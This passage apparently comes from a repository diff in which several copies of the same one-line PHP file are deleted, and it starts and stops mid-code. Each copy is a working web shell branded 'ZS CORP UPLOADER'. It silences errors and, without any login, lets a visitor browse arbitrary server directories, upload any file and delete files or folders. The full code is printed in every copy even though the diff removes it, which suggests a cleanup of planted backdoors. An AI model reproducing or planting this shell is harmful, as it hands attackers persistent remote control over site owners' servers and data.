onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' 